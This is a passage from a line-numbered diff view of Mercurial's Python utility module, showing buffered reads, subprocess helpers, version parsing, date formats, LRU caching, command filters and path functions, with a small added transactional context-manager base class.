378 buf = self._buffer[0]
379 buf = self._buffer[0]
379 if 1 < len(self._buffer):
380 if 1 < len(self._buffer):
380 buf = ''.join(self._buffer)
381 buf = ''.join(self._buffer)
381
382
382 data = buf[:size]
383 data = buf[:size]
383 buf = buf[len(data):]
384 buf = buf[len(data):]
384 if buf:
385 if buf:
385 self._buffer = [buf]
386 self._buffer = [buf]
386 self._lenbuf = len(buf)
387 self._lenbuf = len(buf)
387 else:
388 else:
388 self._buffer = []
389 self._buffer = []
389 self._lenbuf = 0
390 self._lenbuf = 0
390 return data
391 return data
391
392
392 def _fillbuffer(self):
393 def _fillbuffer(self):
393 """read data to the buffer"""
394 """read data to the buffer"""
394 data = os.read(self._input.fileno(), _chunksize)
395 data = os.read(self._input.fileno(), _chunksize)
395 if not data:
396 if not data:
396 self._eof = True
397 self._eof = True
397 else:
398 else:
398 self._lenbuf += len(data)
399 self._lenbuf += len(data)
399 self._buffer.append(data)
400 self._buffer.append(data)
400
401
401 def popen2(cmd, env=None, newlines=False):
402 def popen2(cmd, env=None, newlines=False):
402 # Setting bufsize to -1 lets the system decide the buffer size.
403 # Setting bufsize to -1 lets the system decide the buffer size.
403 # The default for bufsize is 0, meaning unbuffered. This leads to
404 # The default for bufsize is 0, meaning unbuffered. This leads to
404 # poor performance on Mac OS X: http://bugs.python.org/issue4194
405 # poor performance on Mac OS X: http://bugs.python.org/issue4194
405 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
406 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
406 close_fds=closefds,
407 close_fds=closefds,
407 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
408 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
408 universal_newlines=newlines,
409 universal_newlines=newlines,
409 env=env)
410 env=env)
410 return p.stdin, p.stdout
411 return p.stdin, p.stdout
411
412
412 def popen3(cmd, env=None, newlines=False):
413 def popen3(cmd, env=None, newlines=False):
413 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
414 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
414 return stdin, stdout, stderr
415 return stdin, stdout, stderr
415
416
416 def popen4(cmd, env=None, newlines=False, bufsize=-1):
417 def popen4(cmd, env=None, newlines=False, bufsize=-1):
417 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
418 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
418 close_fds=closefds,
419 close_fds=closefds,
419 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
420 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
420 stderr=subprocess.PIPE,
421 stderr=subprocess.PIPE,
421 universal_newlines=newlines,
422 universal_newlines=newlines,
422 env=env)
423 env=env)
423 return p.stdin, p.stdout, p.stderr, p
424 return p.stdin, p.stdout, p.stderr, p
424
425
425 def version():
426 def version():
426 """Return version information if available."""
427 """Return version information if available."""
427 try:
428 try:
428 from . import __version__
429 from . import __version__
429 return __version__.version
430 return __version__.version
430 except ImportError:
431 except ImportError:
431 return 'unknown'
432 return 'unknown'
432
433
433 def versiontuple(v=None, n=4):
434 def versiontuple(v=None, n=4):
434 """Parses a Mercurial version string into an N-tuple.
435 """Parses a Mercurial version string into an N-tuple.
435
436
436 The version string to be parsed is specified with the ``v`` argument.
437 The version string to be parsed is specified with the ``v`` argument.
437 If it isn't defined, the current Mercurial version string will be parsed.
438 If it isn't defined, the current Mercurial version string will be parsed.
438
439
439 ``n`` can be 2, 3, or 4. Here is how some version strings map to
440 ``n`` can be 2, 3, or 4. Here is how some version strings map to
440 returned values:
441 returned values:
441
442
442 >>> v = '3.6.1+190-df9b73d2d444'
443 >>> v = '3.6.1+190-df9b73d2d444'
443 >>> versiontuple(v, 2)
444 >>> versiontuple(v, 2)
444 (3, 6)
445 (3, 6)
445 >>> versiontuple(v, 3)
446 >>> versiontuple(v, 3)
446 (3, 6, 1)
447 (3, 6, 1)
447 >>> versiontuple(v, 4)
448 >>> versiontuple(v, 4)
448 (3, 6, 1, '190-df9b73d2d444')
449 (3, 6, 1, '190-df9b73d2d444')
449
450
450 >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
451 >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
451 (3, 6, 1, '190-df9b73d2d444+20151118')
452 (3, 6, 1, '190-df9b73d2d444+20151118')
452
453
453 >>> v = '3.6'
454 >>> v = '3.6'
454 >>> versiontuple(v, 2)
455 >>> versiontuple(v, 2)
455 (3, 6)
456 (3, 6)
456 >>> versiontuple(v, 3)
457 >>> versiontuple(v, 3)
457 (3, 6, None)
458 (3, 6, None)
458 >>> versiontuple(v, 4)
459 >>> versiontuple(v, 4)
459 (3, 6, None, None)
460 (3, 6, None, None)
460
461
461 >>> v = '3.9-rc'
462 >>> v = '3.9-rc'
462 >>> versiontuple(v, 2)
463 >>> versiontuple(v, 2)
463 (3, 9)
464 (3, 9)
464 >>> versiontuple(v, 3)
465 >>> versiontuple(v, 3)
465 (3, 9, None)
466 (3, 9, None)
466 >>> versiontuple(v, 4)
467 >>> versiontuple(v, 4)
467 (3, 9, None, 'rc')
468 (3, 9, None, 'rc')
468
469
469 >>> v = '3.9-rc+2-02a8fea4289b'
470 >>> v = '3.9-rc+2-02a8fea4289b'
470 >>> versiontuple(v, 2)
471 >>> versiontuple(v, 2)
471 (3, 9)
472 (3, 9)
472 >>> versiontuple(v, 3)
473 >>> versiontuple(v, 3)
473 (3, 9, None)
474 (3, 9, None)
474 >>> versiontuple(v, 4)
475 >>> versiontuple(v, 4)
475 (3, 9, None, 'rc+2-02a8fea4289b')
476 (3, 9, None, 'rc+2-02a8fea4289b')
476 """
477 """
477 if not v:
478 if not v:
478 v = version()
479 v = version()
479 parts = remod.split('[\+-]', v, 1)
480 parts = remod.split('[\+-]', v, 1)
480 if len(parts) == 1:
481 if len(parts) == 1:
481 vparts, extra = parts[0], None
482 vparts, extra = parts[0], None
482 else:
483 else:
483 vparts, extra = parts
484 vparts, extra = parts
484
485
485 vints = []
486 vints = []
486 for i in vparts.split('.'):
487 for i in vparts.split('.'):
487 try:
488 try:
488 vints.append(int(i))
489 vints.append(int(i))
489 except ValueError:
490 except ValueError:
490 break
491 break
491 # (3, 6) -> (3, 6, None)
492 # (3, 6) -> (3, 6, None)
492 while len(vints) < 3:
493 while len(vints) < 3:
493 vints.append(None)
494 vints.append(None)
494
495
495 if n == 2:
496 if n == 2:
496 return (vints[0], vints[1])
497 return (vints[0], vints[1])
497 if n == 3:
498 if n == 3:
498 return (vints[0], vints[1], vints[2])
499 return (vints[0], vints[1], vints[2])
499 if n == 4:
500 if n == 4:
500 return (vints[0], vints[1], vints[2], extra)
501 return (vints[0], vints[1], vints[2], extra)
501
502
502 # used by parsedate
503 # used by parsedate
503 defaultdateformats = (
504 defaultdateformats = (
504 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
505 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
505 '%Y-%m-%dT%H:%M', # without seconds
506 '%Y-%m-%dT%H:%M', # without seconds
506 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
507 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
507 '%Y-%m-%dT%H%M', # without seconds
508 '%Y-%m-%dT%H%M', # without seconds
508 '%Y-%m-%d %H:%M:%S', # our common legal variant
509 '%Y-%m-%d %H:%M:%S', # our common legal variant
509 '%Y-%m-%d %H:%M', # without seconds
510 '%Y-%m-%d %H:%M', # without seconds
510 '%Y-%m-%d %H%M%S', # without :
511 '%Y-%m-%d %H%M%S', # without :
511 '%Y-%m-%d %H%M', # without seconds
512 '%Y-%m-%d %H%M', # without seconds
512 '%Y-%m-%d %I:%M:%S%p',
513 '%Y-%m-%d %I:%M:%S%p',
513 '%Y-%m-%d %H:%M',
514 '%Y-%m-%d %H:%M',
514 '%Y-%m-%d %I:%M%p',
515 '%Y-%m-%d %I:%M%p',
515 '%Y-%m-%d',
516 '%Y-%m-%d',
516 '%m-%d',
517 '%m-%d',
517 '%m/%d',
518 '%m/%d',
518 '%m/%d/%y',
519 '%m/%d/%y',
519 '%m/%d/%Y',
520 '%m/%d/%Y',
520 '%a %b %d %H:%M:%S %Y',
521 '%a %b %d %H:%M:%S %Y',
521 '%a %b %d %I:%M:%S%p %Y',
522 '%a %b %d %I:%M:%S%p %Y',
522 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
523 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
523 '%b %d %H:%M:%S %Y',
524 '%b %d %H:%M:%S %Y',
524 '%b %d %I:%M:%S%p %Y',
525 '%b %d %I:%M:%S%p %Y',
525 '%b %d %H:%M:%S',
526 '%b %d %H:%M:%S',
526 '%b %d %I:%M:%S%p',
527 '%b %d %I:%M:%S%p',
527 '%b %d %H:%M',
528 '%b %d %H:%M',
528 '%b %d %I:%M%p',
529 '%b %d %I:%M%p',
529 '%b %d %Y',
530 '%b %d %Y',
530 '%b %d',
531 '%b %d',
531 '%H:%M:%S',
532 '%H:%M:%S',
532 '%I:%M:%S%p',
533 '%I:%M:%S%p',
533 '%H:%M',
534 '%H:%M',
534 '%I:%M%p',
535 '%I:%M%p',
535 )
536 )
536
537
537 extendeddateformats = defaultdateformats + (
538 extendeddateformats = defaultdateformats + (
538 "%Y",
539 "%Y",
539 "%Y-%m",
540 "%Y-%m",
540 "%b",
541 "%b",
541 "%b %Y",
542 "%b %Y",
542 )
543 )
543
544
544 def cachefunc(func):
545 def cachefunc(func):
545 '''cache the result of function calls'''
546 '''cache the result of function calls'''
546 # XXX doesn't handle keywords args
547 # XXX doesn't handle keywords args
547 if func.__code__.co_argcount == 0:
548 if func.__code__.co_argcount == 0:
548 cache = []
549 cache = []
549 def f():
550 def f():
550 if len(cache) == 0:
551 if len(cache) == 0:
551 cache.append(func())
552 cache.append(func())
552 return cache[0]
553 return cache[0]
553 return f
554 return f
554 cache = {}
555 cache = {}
555 if func.__code__.co_argcount == 1:
556 if func.__code__.co_argcount == 1:
556 # we gain a small amount of time because
557 # we gain a small amount of time because
557 # we don't need to pack/unpack the list
558 # we don't need to pack/unpack the list
558 def f(arg):
559 def f(arg):
559 if arg not in cache:
560 if arg not in cache:
560 cache[arg] = func(arg)
561 cache[arg] = func(arg)
561 return cache[arg]
562 return cache[arg]
562 else:
563 else:
563 def f(*args):
564 def f(*args):
564 if args not in cache:
565 if args not in cache:
565 cache[args] = func(*args)
566 cache[args] = func(*args)
566 return cache[args]
567 return cache[args]
567
568
568 return f
569 return f
569
570
570 class sortdict(collections.OrderedDict):
571 class sortdict(collections.OrderedDict):
571 '''a simple sorted dictionary
572 '''a simple sorted dictionary
572
573
573 >>> d1 = sortdict([('a', 0), ('b', 1)])
574 >>> d1 = sortdict([('a', 0), ('b', 1)])
574 >>> d2 = d1.copy()
575 >>> d2 = d1.copy()
575 >>> d2
576 >>> d2
576 sortdict([('a', 0), ('b', 1)])
577 sortdict([('a', 0), ('b', 1)])
577 >>> d2.update([('a', 2)])
578 >>> d2.update([('a', 2)])
578 >>> d2.keys() # should still be in last-set order
579 >>> d2.keys() # should still be in last-set order
579 ['b', 'a']
580 ['b', 'a']
580 '''
581 '''
581
582
582 def __setitem__(self, key, value):
583 def __setitem__(self, key, value):
583 if key in self:
584 if key in self:
584 del self[key]
585 del self[key]
585 super(sortdict, self).__setitem__(key, value)
586 super(sortdict, self).__setitem__(key, value)
586
587
587 if pycompat.ispypy:
588 if pycompat.ispypy:
588 # __setitem__() isn't called as of PyPy 5.8.0
589 # __setitem__() isn't called as of PyPy 5.8.0
589 def update(self, src):
590 def update(self, src):
590 if isinstance(src, dict):
591 if isinstance(src, dict):
591 src = src.iteritems()
592 src = src.iteritems()
592 for k, v in src:
593 for k, v in src:
593 self[k] = v
594 self[k] = v
594
595
596 class transactional(object):
597 """Base class for making a transactional type into a context manager."""
598 __metaclass__ = abc.ABCMeta
599
600 @abc.abstractmethod
601 def close(self):
602 """Successfully closes the transaction."""
603
604 @abc.abstractmethod
605 def release(self):
606 """Marks the end of the transaction.
607
608 If the transaction has not been closed, it will be aborted.
609 """
610
611 def __enter__(self):
612 return self
613
614 def __exit__(self, exc_type, exc_val, exc_tb):
615 try:
616 if exc_type is None:
617 self.close()
618 finally:
619 self.release()
620
595 @contextlib.contextmanager
621 @contextlib.contextmanager
596 def acceptintervention(tr=None):
622 def acceptintervention(tr=None):
597 """A context manager that closes the transaction on InterventionRequired
623 """A context manager that closes the transaction on InterventionRequired
598
624
599 If no transaction was provided, this simply runs the body and returns
625 If no transaction was provided, this simply runs the body and returns
600 """
626 """
601 if not tr:
627 if not tr:
602 yield
628 yield
603 return
629 return
604 try:
630 try:
605 yield
631 yield
606 tr.close()
632 tr.close()
607 except error.InterventionRequired:
633 except error.InterventionRequired:
608 tr.close()
634 tr.close()
609 raise
635 raise
610 finally:
636 finally:
611 tr.release()
637 tr.release()
612
638
613 @contextlib.contextmanager
639 @contextlib.contextmanager
614 def nullcontextmanager():
640 def nullcontextmanager():
615 yield
641 yield
616
642
617 class _lrucachenode(object):
643 class _lrucachenode(object):
618 """A node in a doubly linked list.
644 """A node in a doubly linked list.
619
645
620 Holds a reference to nodes on either side as well as a key-value
646 Holds a reference to nodes on either side as well as a key-value
621 pair for the dictionary entry.
647 pair for the dictionary entry.
622 """
648 """
623 __slots__ = (u'next', u'prev', u'key', u'value')
649 __slots__ = (u'next', u'prev', u'key', u'value')
624
650
625 def __init__(self):
651 def __init__(self):
626 self.next = None
652 self.next = None
627 self.prev = None
653 self.prev = None
628
654
629 self.key = _notset
655 self.key = _notset
630 self.value = None
656 self.value = None
631
657
632 def markempty(self):
658 def markempty(self):
633 """Mark the node as emptied."""
659 """Mark the node as emptied."""
634 self.key = _notset
660 self.key = _notset
635
661
636 class lrucachedict(object):
662 class lrucachedict(object):
637 """Dict that caches most recent accesses and sets.
663 """Dict that caches most recent accesses and sets.
638
664
639 The dict consists of an actual backing dict - indexed by original
665 The dict consists of an actual backing dict - indexed by original
640 key - and a doubly linked circular list defining the order of entries in
666 key - and a doubly linked circular list defining the order of entries in
641 the cache.
667 the cache.
642
668
643 The head node is the newest entry in the cache. If the cache is full,
669 The head node is the newest entry in the cache. If the cache is full,
644 we recycle head.prev and make it the new head. Cache accesses result in
670 we recycle head.prev and make it the new head. Cache accesses result in
645 the node being moved to before the existing head and being marked as the
671 the node being moved to before the existing head and being marked as the
646 new head node.
672 new head node.
647 """
673 """
648 def __init__(self, max):
674 def __init__(self, max):
649 self._cache = {}
675 self._cache = {}
650
676
651 self._head = head = _lrucachenode()
677 self._head = head = _lrucachenode()
652 head.prev = head
678 head.prev = head
653 head.next = head
679 head.next = head
654 self._size = 1
680 self._size = 1
655 self._capacity = max
681 self._capacity = max
656
682
657 def __len__(self):
683 def __len__(self):
658 return len(self._cache)
684 return len(self._cache)
659
685
660 def __contains__(self, k):
686 def __contains__(self, k):
661 return k in self._cache
687 return k in self._cache
662
688
663 def __iter__(self):
689 def __iter__(self):
664 # We don't have to iterate in cache order, but why not.
690 # We don't have to iterate in cache order, but why not.
665 n = self._head
691 n = self._head
666 for i in range(len(self._cache)):
692 for i in range(len(self._cache)):
667 yield n.key
693 yield n.key
668 n = n.next
694 n = n.next
669
695
670 def __getitem__(self, k):
696 def __getitem__(self, k):
671 node = self._cache[k]
697 node = self._cache[k]
672 self._movetohead(node)
698 self._movetohead(node)
673 return node.value
699 return node.value
674
700
675 def __setitem__(self, k, v):
701 def __setitem__(self, k, v):
676 node = self._cache.get(k)
702 node = self._cache.get(k)
677 # Replace existing value and mark as newest.
703 # Replace existing value and mark as newest.
678 if node is not None:
704 if node is not None:
679 node.value = v
705 node.value = v
680 self._movetohead(node)
706 self._movetohead(node)
681 return
707 return
682
708
683 if self._size < self._capacity:
709 if self._size < self._capacity:
684 node = self._addcapacity()
710 node = self._addcapacity()
685 else:
711 else:
686 # Grab the last/oldest item.
712 # Grab the last/oldest item.
687 node = self._head.prev
713 node = self._head.prev
688
714
689 # At capacity. Kill the old entry.
715 # At capacity. Kill the old entry.
690 if node.key is not _notset:
716 if node.key is not _notset:
691 del self._cache[node.key]
717 del self._cache[node.key]
692
718
693 node.key = k
719 node.key = k
694 node.value = v
720 node.value = v
695 self._cache[k] = node
721 self._cache[k] = node
696 # And mark it as newest entry. No need to adjust order since it
722 # And mark it as newest entry. No need to adjust order since it
697 # is already self._head.prev.
723 # is already self._head.prev.
698 self._head = node
724 self._head = node
699
725
700 def __delitem__(self, k):
726 def __delitem__(self, k):
701 node = self._cache.pop(k)
727 node = self._cache.pop(k)
702 node.markempty()
728 node.markempty()
703
729
704 # Temporarily mark as newest item before re-adjusting head to make
730 # Temporarily mark as newest item before re-adjusting head to make
705 # this node the oldest item.
731 # this node the oldest item.
706 self._movetohead(node)
732 self._movetohead(node)
707 self._head = node.next
733 self._head = node.next
708
734
709 # Additional dict methods.
735 # Additional dict methods.
710
736
711 def get(self, k, default=None):
737 def get(self, k, default=None):
712 try:
738 try:
713 return self._cache[k].value
739 return self._cache[k].value
714 except KeyError:
740 except KeyError:
715 return default
741 return default
716
742
717 def clear(self):
743 def clear(self):
718 n = self._head
744 n = self._head
719 while n.key is not _notset:
745 while n.key is not _notset:
720 n.markempty()
746 n.markempty()
721 n = n.next
747 n = n.next
722
748
723 self._cache.clear()
749 self._cache.clear()
724
750
725 def copy(self):
751 def copy(self):
726 result = lrucachedict(self._capacity)
752 result = lrucachedict(self._capacity)
727 n = self._head.prev
753 n = self._head.prev
728 # Iterate in oldest-to-newest order, so the copy has the right ordering
754 # Iterate in oldest-to-newest order, so the copy has the right ordering
729 for i in range(len(self._cache)):
755 for i in range(len(self._cache)):
730 result[n.key] = n.value
756 result[n.key] = n.value
731 n = n.prev
757 n = n.prev
732 return result
758 return result
733
759
734 def _movetohead(self, node):
760 def _movetohead(self, node):
735 """Mark a node as the newest, making it the new head.
761 """Mark a node as the newest, making it the new head.
736
762
737 When a node is accessed, it becomes the freshest entry in the LRU
763 When a node is accessed, it becomes the freshest entry in the LRU
738 list, which is denoted by self._head.
764 list, which is denoted by self._head.
739
765
740 Visually, let's make ``N`` the new head node (* denotes head):
766 Visually, let's make ``N`` the new head node (* denotes head):
741
767
742 previous/oldest <-> head <-> next/next newest
768 previous/oldest <-> head <-> next/next newest
743
769
744 ----<->--- A* ---<->-----
770 ----<->--- A* ---<->-----
745 | |
771 | |
746 E <-> D <-> N <-> C <-> B
772 E <-> D <-> N <-> C <-> B
747
773
748 To:
774 To:
749
775
750 ----<->--- N* ---<->-----
776 ----<->--- N* ---<->-----
751 | |
777 | |
752 E <-> D <-> C <-> B <-> A
778 E <-> D <-> C <-> B <-> A
753
779
754 This requires the following moves:
780 This requires the following moves:
755
781
756 C.next = D (node.prev.next = node.next)
782 C.next = D (node.prev.next = node.next)
757 D.prev = C (node.next.prev = node.prev)
783 D.prev = C (node.next.prev = node.prev)
758 E.next = N (head.prev.next = node)
784 E.next = N (head.prev.next = node)
759 N.prev = E (node.prev = head.prev)
785 N.prev = E (node.prev = head.prev)
760 N.next = A (node.next = head)
786 N.next = A (node.next = head)
761 A.prev = N (head.prev = node)
787 A.prev = N (head.prev = node)
762 """
788 """
763 head = self._head
789 head = self._head
764 # C.next = D
790 # C.next = D
765 node.prev.next = node.next
791 node.prev.next = node.next
766 # D.prev = C
792 # D.prev = C
767 node.next.prev = node.prev
793 node.next.prev = node.prev
768 # N.prev = E
794 # N.prev = E
769 node.prev = head.prev
795 node.prev = head.prev
770 # N.next = A
796 # N.next = A
771 # It is tempting to do just "head" here, however if node is
797 # It is tempting to do just "head" here, however if node is
772 # adjacent to head, this will do bad things.
798 # adjacent to head, this will do bad things.
773 node.next = head.prev.next
799 node.next = head.prev.next
774 # E.next = N
800 # E.next = N
775 node.next.prev = node
801 node.next.prev = node
776 # A.prev = N
802 # A.prev = N
777 node.prev.next = node
803 node.prev.next = node
778
804
779 self._head = node
805 self._head = node
780
806
781 def _addcapacity(self):
807 def _addcapacity(self):
782 """Add a node to the circular linked list.
808 """Add a node to the circular linked list.
783
809
784 The new node is inserted before the head node.
810 The new node is inserted before the head node.
785 """
811 """
786 head = self._head
812 head = self._head
787 node = _lrucachenode()
813 node = _lrucachenode()
788 head.prev.next = node
814 head.prev.next = node
789 node.prev = head.prev
815 node.prev = head.prev
790 node.next = head
816 node.next = head
791 head.prev = node
817 head.prev = node
792 self._size += 1
818 self._size += 1
793 return node
819 return node
794
820
795 def lrucachefunc(func):
821 def lrucachefunc(func):
796 '''cache most recent results of function calls'''
822 '''cache most recent results of function calls'''
797 cache = {}
823 cache = {}
798 order = collections.deque()
824 order = collections.deque()
799 if func.__code__.co_argcount == 1:
825 if func.__code__.co_argcount == 1:
800 def f(arg):
826 def f(arg):
801 if arg not in cache:
827 if arg not in cache:
802 if len(cache) > 20:
828 if len(cache) > 20:
803 del cache[order.popleft()]
829 del cache[order.popleft()]
804 cache[arg] = func(arg)
830 cache[arg] = func(arg)
805 else:
831 else:
806 order.remove(arg)
832 order.remove(arg)
807 order.append(arg)
833 order.append(arg)
808 return cache[arg]
834 return cache[arg]
809 else:
835 else:
810 def f(*args):
836 def f(*args):
811 if args not in cache:
837 if args not in cache:
812 if len(cache) > 20:
838 if len(cache) > 20:
813 del cache[order.popleft()]
839 del cache[order.popleft()]
814 cache[args] = func(*args)
840 cache[args] = func(*args)
815 else:
841 else:
816 order.remove(args)
842 order.remove(args)
817 order.append(args)
843 order.append(args)
818 return cache[args]
844 return cache[args]
819
845
820 return f
846 return f
821
847
822 class propertycache(object):
848 class propertycache(object):
823 def __init__(self, func):
849 def __init__(self, func):
824 self.func = func
850 self.func = func
825 self.name = func.__name__
851 self.name = func.__name__
826 def __get__(self, obj, type=None):
852 def __get__(self, obj, type=None):
827 result = self.func(obj)
853 result = self.func(obj)
828 self.cachevalue(obj, result)
854 self.cachevalue(obj, result)
829 return result
855 return result
830
856
831 def cachevalue(self, obj, value):
857 def cachevalue(self, obj, value):
832 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
858 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
833 obj.__dict__[self.name] = value
859 obj.__dict__[self.name] = value
834
860
835 def pipefilter(s, cmd):
861 def pipefilter(s, cmd):
836 '''filter string S through command CMD, returning its output'''
862 '''filter string S through command CMD, returning its output'''
837 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
863 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
838 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
864 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
839 pout, perr = p.communicate(s)
865 pout, perr = p.communicate(s)
840 return pout
866 return pout
841
867
842 def tempfilter(s, cmd):
868 def tempfilter(s, cmd):
843 '''filter string S through a pair of temporary files with CMD.
869 '''filter string S through a pair of temporary files with CMD.
844 CMD is used as a template to create the real command to be run,
870 CMD is used as a template to create the real command to be run,
845 with the strings INFILE and OUTFILE replaced by the real names of
871 with the strings INFILE and OUTFILE replaced by the real names of
846 the temporary files generated.'''
872 the temporary files generated.'''
847 inname, outname = None, None
873 inname, outname = None, None
848 try:
874 try:
849 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
875 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
850 fp = os.fdopen(infd, pycompat.sysstr('wb'))
876 fp = os.fdopen(infd, pycompat.sysstr('wb'))
851 fp.write(s)
877 fp.write(s)
852 fp.close()
878 fp.close()
853 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
879 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
854 os.close(outfd)
880 os.close(outfd)
855 cmd = cmd.replace('INFILE', inname)
881 cmd = cmd.replace('INFILE', inname)
856 cmd = cmd.replace('OUTFILE', outname)
882 cmd = cmd.replace('OUTFILE', outname)
857 code = os.system(cmd)
883 code = os.system(cmd)
858 if pycompat.sysplatform == 'OpenVMS' and code & 1:
884 if pycompat.sysplatform == 'OpenVMS' and code & 1:
859 code = 0
885 code = 0
860 if code:
886 if code:
861 raise Abort(_("command '%s' failed: %s") %
887 raise Abort(_("command '%s' failed: %s") %
862 (cmd, explainexit(code)))
888 (cmd, explainexit(code)))
863 return readfile(outname)
889 return readfile(outname)
864 finally:
890 finally:
865 try:
891 try:
866 if inname:
892 if inname:
867 os.unlink(inname)
893 os.unlink(inname)
868 except OSError:
894 except OSError:
869 pass
895 pass
870 try:
896 try:
871 if outname:
897 if outname:
872 os.unlink(outname)
898 os.unlink(outname)
873 except OSError:
899 except OSError:
874 pass
900 pass
875
901
876 filtertable = {
902 filtertable = {
877 'tempfile:': tempfilter,
903 'tempfile:': tempfilter,
878 'pipe:': pipefilter,
904 'pipe:': pipefilter,
879 }
905 }
880
906
881 def filter(s, cmd):
907 def filter(s, cmd):
882 "filter a string through a command that transforms its input to its output"
908 "filter a string through a command that transforms its input to its output"
883 for name, fn in filtertable.iteritems():
909 for name, fn in filtertable.iteritems():
884 if cmd.startswith(name):
910 if cmd.startswith(name):
885 return fn(s, cmd[len(name):].lstrip())
911 return fn(s, cmd[len(name):].lstrip())
886 return pipefilter(s, cmd)
912 return pipefilter(s, cmd)
887
913
888 def binary(s):
914 def binary(s):
889 """return true if a string is binary data"""
915 """return true if a string is binary data"""
890 return bool(s and '\0' in s)
916 return bool(s and '\0' in s)
891
917
892 def increasingchunks(source, min=1024, max=65536):
918 def increasingchunks(source, min=1024, max=65536):
893 '''return no less than min bytes per chunk while data remains,
919 '''return no less than min bytes per chunk while data remains,
894 doubling min after each chunk until it reaches max'''
920 doubling min after each chunk until it reaches max'''
895 def log2(x):
921 def log2(x):
896 if not x:
922 if not x:
897 return 0
923 return 0
898 i = 0
924 i = 0
899 while x:
925 while x:
900 x >>= 1
926 x >>= 1
901 i += 1
927 i += 1
902 return i - 1
928 return i - 1
903
929
904 buf = []
930 buf = []
905 blen = 0
931 blen = 0
906 for chunk in source:
932 for chunk in source:
907 buf.append(chunk)
933 buf.append(chunk)
908 blen += len(chunk)
934 blen += len(chunk)
909 if blen >= min:
935 if blen >= min:
910 if min < max:
936 if min < max:
911 min = min << 1
937 min = min << 1
912 nmin = 1 << log2(blen)
938 nmin = 1 << log2(blen)
913 if nmin > min:
939 if nmin > min:
914 min = nmin
940 min = nmin
915 if min > max:
941 if min > max:
916 min = max
942 min = max
917 yield ''.join(buf)
943 yield ''.join(buf)
918 blen = 0
944 blen = 0
919 buf = []
945 buf = []
920 if buf:
946 if buf:
921 yield ''.join(buf)
947 yield ''.join(buf)
922
948
923 Abort = error.Abort
949 Abort = error.Abort
924
950
925 def always(fn):
951 def always(fn):
926 return True
952 return True
927
953
928 def never(fn):
954 def never(fn):
929 return False
955 return False
930
956
931 def nogc(func):
957 def nogc(func):
932 """disable garbage collector
958 """disable garbage collector
933
959
934 Python's garbage collector triggers a GC each time a certain number of
960 Python's garbage collector triggers a GC each time a certain number of
935 container objects (the number being defined by gc.get_threshold()) are
961 container objects (the number being defined by gc.get_threshold()) are
936 allocated even when marked not to be tracked by the collector. Tracking has
962 allocated even when marked not to be tracked by the collector. Tracking has
937 no effect on when GCs are triggered, only on what objects the GC looks
963 no effect on when GCs are triggered, only on what objects the GC looks
938 into. As a workaround, disable GC while building complex (huge)
964 into. As a workaround, disable GC while building complex (huge)
939 containers.
965 containers.
940
966
941 This garbage collector issue have been fixed in 2.7.
967 This garbage collector issue have been fixed in 2.7.
942 """
968 """
943 if sys.version_info >= (2, 7):
969 if sys.version_info >= (2, 7):
944 return func
970 return func
945 def wrapper(*args, **kwargs):
971 def wrapper(*args, **kwargs):
946 gcenabled = gc.isenabled()
972 gcenabled = gc.isenabled()
947 gc.disable()
973 gc.disable()
948 try:
974 try:
949 return func(*args, **kwargs)
975 return func(*args, **kwargs)
950 finally:
976 finally:
951 if gcenabled:
977 if gcenabled:
952 gc.enable()
978 gc.enable()
953 return wrapper
979 return wrapper
954
980
955 def pathto(root, n1, n2):
981 def pathto(root, n1, n2):
956 '''return the relative path from one place to another.
982 '''return the relative path from one place to another.
957 root should use os.sep to separate directories
983 root should use os.sep to separate directories
958 n1 should use os.sep to separate directories
984 n1 should use os.sep to separate directories
959 n2 should use "/" to separate directories
985 n2 should use "/" to separate directories
960 returns an os.sep-separated path.
986 returns an os.sep-separated path.
961
987
962 If n1 is a relative path, it's assumed it's
988 If n1 is a relative path, it's assumed it's
963 relative to root.
989 relative to root.
964 n2 should always be relative to root.
990 n2 should always be relative to root.
965 '''
991 '''
966 if not n1:
992 if not n1:
967 return localpath(n2)
993 return localpath(n2)
968 if os.path.isabs(n1):
994 if os.path.isabs(n1):
969 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
995 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
970 return os.path.join(root, localpath(n2))
996 return os.path.join(root, localpath(n2))
971 n2 = '/'.join((pconvert(root), n2))
997 n2 = '/'.join((pconvert(root), n2))
972 a, b = splitpath(n1), n2.split('/')
998 a, b = splitpath(n1), n2.split('/')
973 a.reverse()
999 a.reverse()
974 b.reverse()
1000 b.reverse()
975 while a and b and a[-1] == b[-1]:
1001 while a and b and a[-1] == b[-1]:
976 a.pop()
1002 a.pop()
977 b.pop()
1003 b.pop()
978 b.reverse()
1004 b.reverse()
979 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1005 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
980
1006
981 def mainfrozen():
1007 def mainfrozen():
982 """return True if we are a frozen executable.
1008 """return True if we are a frozen executable.
983
1009
984 The code supports py2exe (most common, Windows only) and tools/freeze
1010 The code supports py2exe (most common, Windows only) and tools/freeze
985 (portable, not much used).
1011 (portable, not much used).
986 """
